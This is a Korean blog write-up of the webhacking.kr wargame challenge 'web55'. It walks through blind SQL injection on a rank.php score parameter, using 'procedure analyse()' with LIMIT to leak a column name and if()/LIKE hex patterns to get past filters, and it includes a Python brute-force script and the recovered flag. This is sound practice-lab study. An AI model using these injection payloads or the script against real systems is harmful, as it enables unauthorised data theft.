Post

Webhacking.kr - web55 (풀이봄)

web55



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<body onmousemove=move()>
<img src=monster.jpg style="position:relative;left:1;top:1;" id=monster alt='oldzombie'>
<script>
function move(){
  monster.src = Math.floor(Math.random()*2)?"monster.jpg":"monster2.jpg";
  if(parseInt(monster.style.left)<event.x) monster.style.left=parseInt(monster.style.left)+1;
  if(parseInt(monster.style.left)>event.x) monster.style.left=parseInt(monster.style.left)-1;
  if(parseInt(monster.style.left)<event.y) monster.style.top=parseInt(monster.style.top)+1;
  if(parseInt(monster.style.left)<event.y) monster.style.top=parseInt(monster.style.top)-1;
  if(parseInt(monster.style.left)<event.x && parseInt(monster.style.top)<event.y) {monster.style.left=parseInt(monster.style.left)+1;monster.style.top=parseInt(monster.style.top)+1; }
  if(parseInt(monster.style.left)>event.x && parseInt(monster.style.top)>event.y) {monster.style.left=parseInt(monster.style.left)-1;monster.style.top=parseInt(monster.style.top)-1; }
  if(parseInt(monster.style.left)==event.x && parseInt(monster.style.top)==event.y) {alert('GAME OVER'); sfrm.submit(); }
  if(event.x<=0) sfrm.score.value=0;
  if(event.y<=0) sfrm.score.value=0;
  sfrm.mx.value=event.x;
  sfrm.my.value=event.y;
  sfrm.score.value++;
}
</script>
<form method=post name=sfrm>
Score : <input type=text name=score value=0 readonly style=border:0>
<input type=text name=mx readonly style=border:0;font:10>
<input type=text name=my readonly style=border:0;font:10><br>
</form>
<a href=rank.php>rank</a>
1
2
3
rank.php

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");






Solution



풀이를 봐버림..

rank.php에서 보여지는 쿼리를 예상해보면 select id, score from chall55 where score={$_GET['score']}

mysql에는 procedure의 기본 값으로 analyse()가 있음.

analyse()은 질의 결과를 검사하고 테이블 크기를 줄이는 데 도움이 될 수 있는 각 열에 대해 최적의 데이터 유형을 제안하는 결과의 분석을 반환함.

select 문 뒤에 추가해서 사용 가능 함.
Analyse()


대략 이런식으로 나오는 듯함.


1
2
3
4
5
6
7
mysql> select * from user where id='admin' limit 1 procedure analyse();

| Field_name| Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std | Optimal_fieldtype|

| user.user.id| admin| admin | 5 | 5 |0 | 0 | 5.0000 | NULL | ENUM('admin') NOT NULL |

출처: https://tempuss.tistory.com/entry/Limit-절에서의-SQL-Injection [Tempus]


field_name은 DB명.테이블명.컬럼명으로 표시함.

procedure analyse()를 이용한 sql injection 기법
hides.kr/284
mysql XML Functions
dev.mysql.com/doc/refman/5.6/en/xml-functions.html


rank.php에서 score 값에 1 procedure analyse()를 치면 webhacking.chall55.id 라는 DB명.테이블명.컬럼명을 볼 수 있음.

근데 우리는 id 컬럼이 아닌 flag가 들어있는 컬럼을 확인하고 싶음.

보여지는 값을 바꾸려면 limit 함수를 사용해야 함.

limit 함수에는 아래와 같이 두 개의 옵션(procedure, into)을 사용 가능함.


1
2
3
4
5
6
7
8
9
10
 [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

출처: https://tempuss.tistory.com/entry/Limit-절에서의-SQL-Injection [Tempus]


따라서 limit 함수를 이용해서 하면 ?score=12 limit 2,1 procedure analyse()
id : webhacking.chall55.p4ssw0rd_1123581321

이제 위의 컬럼에 있는 flag 값을 뽑아내야 함.

score에 필터링 되어있는게 있음.
select, substr, mid, ', 등


if문 필터링이 되어있지 않아서 if로 접근해서 풀어야 함.

select id, score from chall55 where score=if(p4ssw0rd_1123581321 like 0x465F25,1,2)
-> true가 되어서 score=1 -> Piterpan
-> false일 땐 jandi


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string

url='https://webhacking.kr/challenge/web-31/rank.php'
headers={'Content-Type': 'application/x-www-form-urlencoded'}
cookies={'PHPSESSID' : '[redacted]'}

text=string.ascii_lowercase+string.digits+"!#$&()*+,-./:;<=>?@[\]^`{|}~"
flag='FLAG{'
hex_flag='0x464C41477B'

for i in range(1,100) :
    for j in text :
        hex_text=hex(ord(j))[2:]
        payload={'score':'if(p4ssw0rd_1123581321 like '+hex_flag+hex_text+'5f25,1,2)'}
        res=requests.get(url, params=payload, headers=headers, cookies=cookies)
        print('payload :',flag+j)
        if "Piterpan" in res.text :
            if(j == '\\'):
                j='_'
                hex_text='5f'
            hex_flag+=hex_text
            flag+=j
            print("flag :",flag) # FLAG{easy_peasy_lemon_squeezy!
            break







This post is licensed under CC BY 4.0 by the author.